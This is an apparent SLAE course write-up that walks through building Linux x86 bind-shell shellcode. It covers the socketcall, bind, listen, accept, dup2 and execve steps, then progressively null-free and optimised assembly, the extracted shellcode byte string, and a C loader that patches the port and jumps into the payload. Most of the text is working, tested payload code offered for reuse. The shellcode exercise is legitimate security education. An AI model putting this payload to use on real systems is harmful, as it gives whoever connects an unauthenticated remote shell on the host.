SLAE: Assignment 1 of 7

Assignment #1 objectives:
- Create a shell_bind_tcp assembly shellcode which:
- binds to a port
- execs shell on incoming connection
- The port number should be easily configurable (for instance via marked byte in shellcode, or a wrapper)
==========================================
For this assignment, I decided to not return to the videos to see how the original bind shell was done by Vivek.I remember that Vivek used a syscall to create a socket, and then fed /bin/sh to it. I will use the same approach.
Note: All commands are run on Ubuntu 12.04.5 32-bit

Note: First, I list all the syscalls in Linux:

cat /usr/include/i386-linux-gnu/asm/unistd_32.h

Note, there are so many calls, it is easier to grep for socket:

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket

#define __NR_socketcall        102
Note: This is a decimal number since the number is not prepended with 0x

man 2 socketcall

SYNOPSIS:
int socketcall(int call, unsigned long *args);
DESCRIPTION
socketcall()  is  a  common  kernel  entry  point for the socket system
calls.  call determines which socket function to invoke.   args  points
to a block containing the actual arguments, which are passed through to
the appropriate call.

SEE ALSO
accept(2),  bind(2),  connect(2),  getpeername(2), getsockname(2), get-
sockopt(2),  listen(2),  recv(2),  recvfrom(2),  recvmsg(2),   send(2),
sendmsg(2),  sendto(2),  setsockopt(2), shutdown(2), socket(2), socket-
pair(2)

Note: socketcall() isn't just a simple syscall; it's a syscall chain. Time for research.

man 7 ip

An IP socket is created by calling the socket(2) function as socket(AF_INET, socket_type, protocol).   Valid  socket types are SOCK_STREAM to open a tcp(7) socket, SOCK_DGRAM to open a udp(7) socket, or SOCK_RAW to open a raw(7) socket to access the IP protocol directly.  protocol is the IP  protocol  in the IP header to be received or sent.  The only valid values for protocol are 0 and IPPROTO_TCP for TCP sockets, and 0 and IPPROTO_UDP for UDP sockets.  For  SOCK_RAW  you  may specify a valid IANA IP protocol defined in RFC 1700 assigned numbers.
When  a process wants to receive new incoming packets or connections, it should bind a socket to a local interface address using bind(2).  Only one IP socket may be bound  to  any  given  local (address,  port)  pair.  When INADDR_ANY is specified in the bind call, the socket will be bound to all local interfaces.  When listen(2) or connect(2) are called on an unbound  socket,  it  is automatically bound to a random free port with the local address set to INADDR_ANY.

Note: So in summary, these are the steps:
- create socket
- bind the socket to an IP and port
- Listen for incoming connections
- Accept incoming connections
- Pass /bin/sh to new client socket using execve

Note: The following command shows the call numbers

cat /usr/include/linux/net.h

#define SYS_SOCKET    1        /* sys_socket(2)        */
#define SYS_BIND    2        /* sys_bind(2)            */
#define SYS_CONNECT    3        /* sys_connect(2)        */
#define SYS_LISTEN    4        /* sys_listen(2)        */
#define SYS_ACCEPT    5        /* sys_accept(2)        */
#define SYS_GETSOCKNAME    6        /* sys_getsockname(2)        */
#define SYS_GETPEERNAME    7        /* sys_getpeername(2)        */
#define SYS_SOCKETPAIR    8        /* sys_socketpair(2)        */
#define SYS_SEND    9        /* sys_send(2)            */
#define SYS_RECV    10        /* sys_recv(2)            */
#define SYS_SENDTO    11        /* sys_sendto(2)        */
#define SYS_RECVFROM    12        /* sys_recvfrom(2)        */
#define SYS_SHUTDOWN    13        /* sys_shutdown(2)        */
#define SYS_SETSOCKOPT    14        /* sys_setsockopt(2)        */
#define SYS_GETSOCKOPT    15        /* sys_getsockopt(2)        */
#define SYS_SENDMSG    16        /* sys_sendmsg(2)        */
#define SYS_RECVMSG    17        /* sys_recvmsg(2)        */
#define SYS_ACCEPT4    18        /* sys_accept4(2)        */
#define SYS_RECVMMSG    19        /* sys_recvmmsg(2)        */
#define SYS_SENDMMSG    20        /* sys_sendmmsg(2)        */

Note: The following command confirms the TCP protocol number (0)

cat /usr/include/netinet/in.h

IPPROTO_IP = 0,           /* Dummy protocol for TCP.  */
IPPROTO_HOPOPTS = 0,   /* IPv6 Hop-by-Hop options.  */
IPPROTO_ICMP = 1,       /* Internet Control Message Protocol.  */
IPPROTO_IGMP = 2,       /* Internet Group Management Protocol. */
IPPROTO_IPIP = 4,       /* IPIP tunnels (older KA9Q tunnels use 94).  */
IPPROTO_TCP = 6,       /* Transmission Control Protocol.  */
IPPROTO_EGP = 8,       /* Exterior Gateway Protocol.  */
IPPROTO_PUP = 12,       /* PUP protocol.  */
IPPROTO_UDP = 17,       /* User Datagram Protocol.  */
IPPROTO_IDP = 22,       /* XNS IDP protocol.  */
IPPROTO_TP = 29,       /* SO Transport Protocol Class 4.  */
IPPROTO_DCCP = 33,       /* Datagram Congestion Control Protocol.  */
IPPROTO_IPV6 = 41,     /* IPv6 header.  */
IPPROTO_ROUTING = 43,  /* IPv6 routing header.  */

Note: Reading through the man pages, I understood how to set up a socket. However, in 'man 2 bind', it states "addrlen  specifies  the  size, in  bytes, of the address structure pointed to by addr". In my case, the address structure was 8 bytes in length. When I set addrlen to 8 bytes, the code worked and the socket was created but the socket was bound to a random number.

Note: The following file provides a hint as to why the addrlen needs to be 16:

cat /usr/include/linux/in.h

/* Structure describing an Internet (IP) socket address. */
#define __SOCK_SIZE__    16        /* sizeof(struct sockaddr)    */
struct sockaddr_in {
__kernel_sa_family_t    sin_family;    /* Address family        */
__be16        sin_port;    /* Port number            */
struct in_addr    sin_addr;    /* Internet address        */

/* Pad to size of `struct sockaddr'. */
unsigned char        __pad[__SOCK_SIZE__ - sizeof(short int) -
sizeof(unsigned short int) - sizeof(struct in_addr)];
};
#define sin_zero    __pad        /* for BSD UNIX comp. -FvK    */

Note: It seems that Linux pads sockaddr_in to the size of sockaddr:

cat /usr/include/i386-linux-gnu/bits/socket.h

/* Structure describing a generic socket address.  */
struct sockaddr
{
__SOCKADDR_COMMON (sa_);    /* Common data: address family and length.  */
char sa_data[14];            /* Address data.  */
};

Note: sockaddr has a size of address family (1 byte) + length (1 byte) + address data (14 bytes) = 16 bytes. So even though our sockaddr_in only uses 8 bytes, its size is cast to 16. So 'addrlen' should be 16 and not 8.

The pseudo-code for a bind-shell looks like this:
sfd = socketcall.socket(int domain, int type, int protocol);
sockaddr = (2, 5555, 0.0.0.0)
socketcall.bind(sfd, pointer to sockaddr,16);
socketcall.listen(int sockfd, int backlog)
cfd = socketcall.accept(sfd, pointer to client-sockaddr or 0, sizeof(client-sockaddr) or 0);
dup2(cfd, 0); duplicate stdin to client socket
dup2(cfd, 1); duplicate stdout to client socket
dup2(cfd, 2); duplicate stderr to client socket
execve(/bin/sh,0,0) ; start /bin/sh with input/output duplicated into the socket

And here is the assembly code I came up with - It is not optimized:

; Filename: bindshell1.nasm
; Author:  JollyFrogs (frog@jollyfrogs.com)
; Purpose: This shellcode creates a /bin/sh bind-shell on port 5555
global _start
 
section .text
_start:
; set up a stack frame with room for 5 double-words (20 bytes)
push    ebp                ; backup ebp on the stack
mov     ebp, esp           ; create a new stack window
sub     esp, 0x14          ; make room on stack for local variables
 
; parameters for SOCKET(2) are placed on the stack in reverse order
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
mov     dword [ebp -0x10], 0x2 ; SOCKET(2) arg1: AF_INET
mov     dword [ebp -0xc], 0x1  ; SOCKET(2) arg2: SOCK_STREAM
mov     dword [ebp -0x8], 0x0  ; SOCKET(2) arg3: TCP
 
; invoke socketcall to create the socket
mov     eax, 0x66          ; socketcall syscall (102)
mov     ebx, 0x1           ; SOCKET(2)
lea     ecx, [ebp-0x10]    ; address of parameter array
; ECX will point to stack which should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET    ^S_STREAM   ^TCP
int     0x80               ; SYSCALL SOCKETCALL(2)-SOCKET(2)
mov     [ebp-0x14], eax    ; store fd on stack so I can refer to it
 
; parameters for BIND(2) are placed on the stack in reverse order
; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; note that BIND(2)_arg1 sockfd is already stored in [ebp-0x14]
lea     esi, [ebp-0x8]
mov     [ebp-0x10], esi        ; BIND(2)_arg2: pointer to sockaddr struct
mov     dword [ebp-0xc], 0x10  ; BIND(2)_arg3: length of sockaddr struct
mov     word [ebp-0x8], 0x2    ; BIND(2)_sockaddr_1: AF_INET
mov     word [ebp-0x6], 0xB315 ; BIND(2)_sockaddr_2: IN_PORT in reverse order
mov     dword [ebp-0x4], 0x0   ; BIND(2)_sockaddr_3: IN_ADDR any
 
; invoke socketcall to bind the socket to IP and port
mov     eax, 0x66          ; socketcall syscall (102)
mov     ebx, 0x2           ; BIND(2)
lea     ecx, [ebp-0x14]    ; address of parameter array which starts with *fd
; ECX will point to stack which should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
; ^FD         ^ PTR to -> ^structlen  ^AFNT ^port ^in_addr
int     0x80               ; SYSCALL SOCKETCALL(2)-BIND(2)
 
; parameters for LISTEN(2) are placed on the stack in reverse order
; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
; note that LISTEN(2)_arg1 sockfd is already stored in [ebp-0x14]
mov     dword [ebp-0x10], 0x0 ; LISTEN(2)_arg2: Backlog (connection queue size)
 
; invoke socketcall to set the socket in listen mode
mov     eax, 0x66          ; socketcall syscall (102)
mov     ebx, 0x4           ; LISTEN(2)
lea     ecx, [ebp-0x14]    ; address of parameter array which starts with *fd
int     0x80               ; SYSCALL SOCKETCALL(2)-LISTEN(2)
; Note: The selected port is opened on the system and listening
 
; parameters for ACCEPT(2) are placed on the stack in reverse order
; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; note that ACCEPT(2)_arg1 sockfd is already stored in [ebp-0x14]
mov     dword [ebp-0x10], 0x0  ; ACCEPT(2)_arg2: address of the connecting peer.
mov     dword [ebp-0xc], 0x0   ; ACCEPT(2)_arg3: length of ACCEPT(2)_arg2.
 
; invoke socketcall to set the socket to accept connections
mov     eax, 0x66          ; socketcall syscall (102)
mov     ebx, 0x5           ; ACCEPT(2)
lea     ecx, [ebp-0x14]    ; address of parameter array which starts with *fd
int     0x80               ; SYSCALL SOCKETCALL(2)-ACCEPT(2)
mov     [ebp-0x10], eax    ; store client socket fd on stack so I can refer to it
; ^ note, I can directly copy eax into ebx for the next instruction
; note: ebp-0x14 = server socket fd
; note: ebp-0x10 = client socket fd
 
; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
mov     ebx, [ebp-0x10]    ; client socket fd
mov     ecx, 00000002      ; initiate the loop counter at 2 = stderr
mov     eax, 0x3f          ; DUP2(2)
int     0x80               ; SYSCALL DUP2(2)
 
mov     ecx, 00000001      ; initiate the loop counter at 1 = stdout
mov     eax, 0x3f          ; DUP2(2)
int     0x80               ; SYSCALL DUP2(2)
 
mov     ecx, 00000000      ; initiate the loop counter at 0 = stdin
mov     eax, 0x3f          ; DUP2(2)
int     0x80               ; SYSCALL DUP2(2)
 
mov     eax, 11            ; EXECVE(2)
; execve(/bin//sh,0,0)
push    0                  ; null byte
push    0x68732f2f         ; "//sh"
push    0x6e69622f         ; "/bin"
mov     ebx, esp           ; ptr to "/bin//sh" string
mov     ecx, 0             ; null ptr to argv
mov     edx, 0             ; null ptr to envp
int     0x80               ; Start /bin/sh in the client socket FD
 
; Note: since execve takes over, there is no need to close the socket
; mov     eax, 0x6         ; CLOSE(2)
; mov     ebx, [ebp-0x14]  ; load socket fd
; int     0x80             ; SYSCALL CLOSE(2)
; add     esp, [ebp-0x14]  ; restore ESP to pre-stackframe value
; pop     ebp              ; restore EBP to pre-stackframe value

Note: We compile the assembly and run it in gdb

nasm -f elf32 -o bindshell1.o bindshell1.nasm | ld -o bindshell1 bindshell1.o
gdb bindshell1 -ex 'break _start' -ex 'run' -ex 'display/32b $esp'

gdb$ run
gdb$ continue
Note: In another terminal, connect to 127.0.0.1 on port 5555:

nc -nv 127.0.0.1 5555

The assembly code works! Press CTRL-C in the window you used to connect to close the connection, then close gdb:
gdb$ quit

Note: We're not there yet: Null bytes (\x00) are typically shunned from shellcode because many programs use a null byte to terminate strings. If we were to inject this shellcode in a function that used a string, the first null byte in our shellcode would act as a string terminator and only part of our shellcode would be loaded.

I removed the zeroes from the shellcode as follows:

; Filename: bindshell2.nasm
; Author:  JollyFrogs (frog@jollyfrogs.com)
; Purpose: This shellcode creates a /bin/sh bind-shell on port 5555
; Size: 100 Bytes
;
; License: This work is licensed under a Creative Commons
; Attribution-NonCommercial 4.0 International License.

global _start

section .text
_start:
; parameters for SOCKET(2) are placed on the stack in reverse order
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET    ^S_STREAM   ^TCP

xor    eax, eax            ; set EAX to 00000000
push   eax                 ; PUSH 00000000 (TCP)
inc    eax                 ; EAX = 00000001
push   eax                 ; PUSH 00000001 (SOCK_STREAM)
inc    eax                 ; EAX = 00000002
push   eax                 ; PUSH 00000002 (AF_INET)

; invoke socketcall to create the socket
mov    al, 0x66            ; EAX = 00000066 (SOCKETCALL)
xor    ebx, ebx            ; EBX = 00000000
inc    ebx                 ; EBX = 00000001 (SOCKETCALL.SOCKET)
mov    ecx, esp            ; ECX = points to top of stack
int    0x80                ; SYSCALL SOCKETCALL(2)-SOCKET(2)
mov    edi, eax            ; store fd in edi

; parameters for BIND(2) are placed on the stack in reverse order
; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
; ^FD         ^           ^structlen  ^AFNT ^port ^in_addr
;             | PTR to ----------^

pop     ebx                ; EBX = 00000002 (SOCKETCALL.BIND)
pop     eax                ; EAX = 00000001
salc                       ; EAX = 00000000
push    eax                ; PUSH 00000000  (sockaddr_1)
mov     ax, 0xB315         ; EAX = 0000B315 (5555 reversed)
push    ax                 ; PUSH B315      (sockaddr_2)
push    bx                 ; PUSH 0002      (sockaddr_3)
mov     ecx, esp           ; ECX = ESP
xor     eax, eax           ; EAX = 00000000
mov     al, 0x10           ; EAX = 00000010
push    eax                ; PUSH 00000010  (len(sockaddr))
push    ecx                ; PUSH (*ADDR)   (ptr to sockaddr)
push    edi                ; push (FD)      (SOCKFD)

; invoke socketcall to bind the socket to IP and port
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
mov     ecx, esp           ; ECX = points to top of stack
int     0x80               ; SYSCALL SOCKETCALL(2)-BIND(2)

; parameters for LISTEN(2) are placed on the stack in reverse order
; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00
; ^FD         ^Backlog = 0
salc                       ; EAX = 00000000
push    eax                ; PUSH 00000000  (Backlog)
push    edi                ; PUSH (FD)      (SOCKFD)

; invoke socketcall to set the socket in listen mode
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
inc     ebx                ; EBX = 00000003
inc     ebx                ; EBX = 00000004 (SOCKETCALL.LISTEN)
mov     ecx, esp           ; ECX = points to top of stack
int     0x80               ; SYSCALL SOCKETCALL(2)-LISTEN(2)
; Note: The selected port is opened on the system and listening

; parameters for ACCEPT(2) are placed on the stack in reverse order
; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00 00 00 00 00

; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
push    eax                ; PUSH 00000000
push    eax                ; PUSH 00000000
push    edi                ; PUSH (FD)      (SOCKFD)

; invoke socketcall to set the socket to accept connections
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
inc     ebx                ; EBX = 00000005 (SOCKETCALL.ACCEPT)
mov     ecx, esp           ; ECX = points to top of stack
int     0x80               ; SYSCALL SOCKETCALL(2)-ACCEPT(2)

; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg    eax, ebx           ; EBX = CFD, EAX = 00000005
xor     ecx, ecx           ; ECX = 00000000
mov     cl, 3              ; ECX = 00000003

redirect:
dec     ecx                ; ECX = 00000002
mov     al, 0x3f           ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
int     0x80               ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
jnz     redirect           ;

; spawn /bin/sh shell
salc                       ; EAX = 00000000
push    eax                ; PUSH 00000000 (NULL byte)
pop     ecx                ; ECX = 00000000 (EXECVE ARGV)
push    eax                ; PUSH 00000000 (NULL byte)
pop     edx                ; EDX = 00000000 (EXECVE ENVP)

; push '/bin//sh, 0' on stack
push    eax                ; PUSH 00000000 (NULL byte)
mov     al, 11             ; EXECVE(2)
push    0x68732f2f         ; "//sh"
push    0x6e69622f         ; "/bin"
mov     ebx, esp           ; ptr to "/bin//sh" string
int     0x80               ; Start /bin/sh in the client socket FD

Note: We compile and test our null-free shellcode:

nasm -f elf32 -o bindshell2.o bindshell2.nasm | ld -o bindshell2 bindshell2.o
./bindshell2

Note: Again we verify we can connect successfully:

nc -nv 127.0.0.1 5555

The assembly code still works. Press CTRL-C in the window you used to connect to close the connection.

I optimized the code above by removing unneeded pieces of code and reusing stack values:

; Filename: bindshell3.nasm
; Author:  JollyFrogs (frog@jollyfrogs.com)
; Purpose: This shellcode creates a /bin/sh TCP bind-shell on port 5555
; Size: 87 Bytes
;
; License: This work is licensed under a Creative Commons
; Attribution-NonCommercial 4.0 International License.
;
; To change the port, change the bytes "\x15\xb3" (5555 in reverse order)
;
; Compilation:
; nasm -f elf32 -o bindshell3.o bindshell3.nasm | ld -o bindshell3 bindshell3.o

global _start

section .text
_start:
; Note: parameters are placed on the stack in reverse order due to little endianness
;
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET    ^S_STREAM   ^TCP

xor     eax, eax           ; EAX = 00000000
push    eax                ; PUSH 00000000 (TCP)
inc     eax                ; EAX = 00000001
push    eax                ; PUSH 00000001 (SOCK_STREAM)
pop     ebx                ; EBX = 00000001 (SOCKETCALL.SOCKET)
push    eax                ; PUSH 00000001 (SOCK_STREAM)
inc     eax                ; EAX = 00000002
push    eax                ; PUSH 00000002 (AF_INET)

; invoke socketcall to create the socket
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
mov     ecx, esp           ; ECX = points to top of stack (0xBFFFF3E4)
int     0x80               ; SYSCALL SOCKETCALL(2)-SOCKET(2)
xchg    edi, eax           ; store fd in edi

; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
; ^FD         ^           ^structlen  ^AFNT ^port ^in_addr
;             | PTR to ----------^

pop     ebx                ; EBX = 00000002 (SOCKETCALL.BIND)
pop     eax                ; EAX = 00000001
; Note: Stack = 00000000
mov     ax, 0xB315         ; EAX = 0000B315 (5555 reversed)
push    ax                 ; PUSH B315      (sockaddr_2)
push    bx                 ; PUSH 0002      (sockaddr_3)
mov     ecx, esp           ; ECX = ESP (0xBFFFF3E8)
xor     eax, eax           ; EAX = 00000000
mov     al, 0x10           ; EAX = 00000010
push    eax                ; PUSH 00000010  (len(sockaddr))
push    ecx                ; PUSH (*ADDR)   (ptr to sockaddr)
push    edi                ; push (FD)      (SOCKFD)

; invoke socketcall to bind the socket to IP and port
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
mov     ecx, esp           ; ECX = points to top of stack  (0xBFFFF3DC)
int     0x80               ; SYSCALL SOCKETCALL(2)-BIND(2)

; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00
; ^FD         ^Backlog = 0

; Note that EAX = 00000000 due to return code from SOCKETCALL above
push    eax                ; PUSH 00000000  (Backlog)
push    edi                ; PUSH (FD)      (SOCKFD)

; invoke socketcall to set the socket in listen mode
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
inc     ebx                ; EBX = 00000003
inc     ebx                ; EBX = 00000004 (SOCKETCALL.LISTEN)
mov     ecx, esp           ; ECX = points to top of stack (0xBFFFF3D4)
int     0x80               ; SYSCALL SOCKETCALL(2)-LISTEN(2)
; Note: The selected port is now open on the system and listening

; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00 00 00 00 00

; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
; Note that stack at 0xBFFFF3D4 already contains what I need:
; 07 00 00 00 00 00 00 00 00 00 00 00
; invoke socketcall to set the socket to accept connections
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
inc     ebx                ; EBX = 00000005 (SOCKETCALL.ACCEPT)
int     0x80               ; SYSCALL SOCKETCALL(2)-ACCEPT(2)

; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg    eax, ebx           ; EBX = CFD, EAX = 00000005
xchg    ecx, edi           ; ECX ~= 00000007 (or higher, does not matter)
; XCHG ECX, EDI saves us having to zero ecx and set it to 3

reduceecxtozero:
dec     ecx                ; eventually, ECX = 00000002
mov     al, 0x3f           ; DUP2(2) (ECX 2=stderr,1=stdout,0=stdin)
int     0x80               ; SYSCALL DUP2(2)
jnz     reduceecxtozero    ; Until ECX = 0 meaning stdin was DUP2'd

; spawn /bin/sh shell
; Note that EAX is set to 00000000 upon last succesful execution of DUP2
push    eax                ; PUSH 00000000 (NULL byte)
push    eax                ; PUSH 00000000 (NULL byte)
pop     ecx                ; ECX = 00000000 (EXECVE ARGV)
pop     edx                ; EDX = 00000000 (EXECVE ENVP)

; push '/bin//sh, 0' on stack
push    eax                ; PUSH 00000000 (NULL byte)
mov     al, 0xb            ; EXECVE(2)
push    0x68732f2f         ; "//sh"
push    0x6e69622f         ; "/bin"
xchg    esp, ebx           ; Save a byte by sacrificing unneeded ESP
int     0x80               ; Start /bin/sh in the client socket FD

; Shellcode:
;"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97″
;"\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10″
;"\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89″
;"\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80″
;"\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f"
;"\x62\x69\x6e\x87\xe3\xcd\x80″

; Note: If you get a "Segmentation fault (core dumped), please wait until the
; socket is freed. This typically takes 60 seconds on Linux.

Note: To get the shellcode of the program, I use some command-line-fu:

nasm -f elf32 -o bindshell3.o bindshell3.nasm | ld -o bindshell3 bindshell3.o
objdump -d ./bindshell3|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

This small piece of C code will load the shellcode for us:

/*
Filename: bindshell.c
Author: JollyFrogs (frog@jollyfrogs.com)
License: This work is licensed under a Creative Commons
Attribution-NonCommercial 4.0 International License.
Compile:
gcc -m32 -fno-stack-protector -z execstack bindshell.c -o bindshell
*/

#include <stdio.h>
#include <string.h>
#include <stdbool.h>

unsigned char shellcode[] = \
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\x5b\x58\x66\xb8\x15\xb3\x66\x50\x66\x53\x89\xe1\x31\xc0\xb0\x10"
"\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x50\x57\xb0\x66\x43\x43\x89"
"\xe1\xcd\x80\xb0\x66\x43\xcd\x80\x93\x87\xcf\x49\xb0\x3f\xcd\x80"
"\x75\xf9\x50\x59\x50\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x87\xe3\xcd\x80";

static bool shellcode_zerocheck() {
// initialize counter
int i = 0;
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(shellcode)-1; i++) {if (shellcode[i] == '\x00') return false;}
// Return true if no zeroes found
return true;
}

static bool shellcode_setport(char *buf, int port) {
// Check if decimal port is valid
if (port<1024 || port>65535) return false;
// The offset of the port is 21, but reduce by 1 since the array counts from 0
int shellcode_port_offset = 20; // (\x15\xb3)
// convert decimal port to hexidecimal
*(short *)(buf+shellcode_port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
// Swap port bytes to accomodate for Little Endian memory structure
char tmp = buf[shellcode_port_offset];
buf[shellcode_port_offset] = buf[shellcode_port_offset+1];
buf[shellcode_port_offset+1] = tmp;
// Check if the hexidecimal port contains zeroes, if it does then show an error
if (shellcode[20] == '\x00' || shellcode[21] == '\x00') {
printf("port HEX contains zeroes\n"); return false;
}
// Return true if all checks passed
return true;
}

main () {
// Port in decimal - should be higher than 1024 and lower than 65536
int port = 1234;
// Basic error checking
if (!shellcode_setport(shellcode, port)) {printf("ERROR: Invalid port\n");return 0;}
if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
// Print shellcode length.
printf("Shellcode Length:  %d\n", strlen(shellcode));
// Run assembly commands
__asm__ (
// Initialize registers
"movl $0x12345678, %eax\n\t"
"movl $0x12345678, %ebx\n\t"
"movl $0x12345678, %ecx\n\t"
"movl $0x12345678, %edx\n\t"
"movl $0x12345678, %edi\n\t"
"movl $0x12345678, %esi\n\t"
"movl $0x12345678, %ebp\n\t"
// execute shellcode
"jmp shellcode");
}

/* Assembly source of shellcode:

global _start

section .text
_start:
; parameters for SOCKET(2) are placed on the stack in reverse order
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET    ^S_STREAM   ^TCP

xor    eax, eax            ; EAX = 00000000
push   eax                 ; PUSH 00000000 (TCP)
inc    eax                 ; EAX = 00000001
push   eax                 ; PUSH 00000001 (SOCK_STREAM)
pop    ebx                 ; EBX = 00000001 (SOCKETCALL.SOCKET)
push   eax                 ; PUSH 00000001 (SOCK_STREAM)
inc    eax                 ; EAX = 00000002
push   eax                 ; PUSH 00000002 (AF_INET)

; invoke socketcall to create the socket
mov    al, 0x66            ; EAX = 00000066 (SOCKETCALL)
mov    ecx, esp            ; ECX = points to top of stack (0xBFFFF3E4)
int    0x80                ; SYSCALL SOCKETCALL(2)-SOCKET(2)
xchg   edi, eax            ; store fd in edi

; parameters for BIND(2) are placed on the stack in reverse order
; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
; ^FD         ^           ^structlen  ^AFNT ^port ^in_addr
;             | PTR to ----------^

pop     ebx                ; EBX = 00000002 (SOCKETCALL.BIND)
pop     eax                ; EAX = 00000001
; Note: Stack = 00000000
mov     ax, 0xB315         ; EAX = 0000B315 (5555 reversed)
push    ax                 ; PUSH B315      (sockaddr_2)
push    bx                 ; PUSH 0002      (sockaddr_3)
mov     ecx, esp           ; ECX = ESP (0xBFFFF3E8)
xor     eax, eax           ; EAX = 00000000
mov     al, 0x10           ; EAX = 00000010
push    eax                ; PUSH 00000010  (len(sockaddr))
push    ecx                ; PUSH (*ADDR)   (ptr to sockaddr)
push    edi                ; push (FD)      (SOCKFD)

; invoke socketcall to bind the socket to IP and port
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
mov     ecx, esp           ; ECX = points to top of stack  (0xBFFFF3DC)
int     0x80               ; SYSCALL SOCKETCALL(2)-BIND(2)

; parameters for LISTEN(2) are placed on the stack in reverse order
; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00
; ^FD         ^Backlog = 0

; Note that EAX = 00000000 due to return code from SOCKETCALL above
push    eax                ; PUSH 00000000  (Backlog)
push    edi                ; PUSH (FD)      (SOCKFD)

; invoke socketcall to set the socket in listen mode
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
inc     ebx                ; EBX = 00000003
inc     ebx                ; EBX = 00000004 (SOCKETCALL.LISTEN)
mov     ecx, esp           ; ECX = points to top of stack (0xBFFFF3D4)
int     0x80               ; SYSCALL SOCKETCALL(2)-LISTEN(2)
; Note: The selected port is opened on the system and listening

; parameters for ACCEPT(2) are placed on the stack in reverse order
; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 00 00 00 00 00 00 00 00

; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
; Note that stack at 0xBFFFF3D4 already contains what I need:
; 07 00 00 00 00 00 00 00 00 00 00 00
; invoke socketcall to set the socket to accept connections
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
inc     ebx                ; EBX = 00000005 (SOCKETCALL.ACCEPT)
int     0x80               ; SYSCALL SOCKETCALL(2)-ACCEPT(2)

; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg    eax, ebx           ; EBX = CFD, EAX = 00000005
xchg    ecx, edi           ; ECX = 00000007
; XCHG ECX, EDI saves us having to zero out ecx and then MOV 3

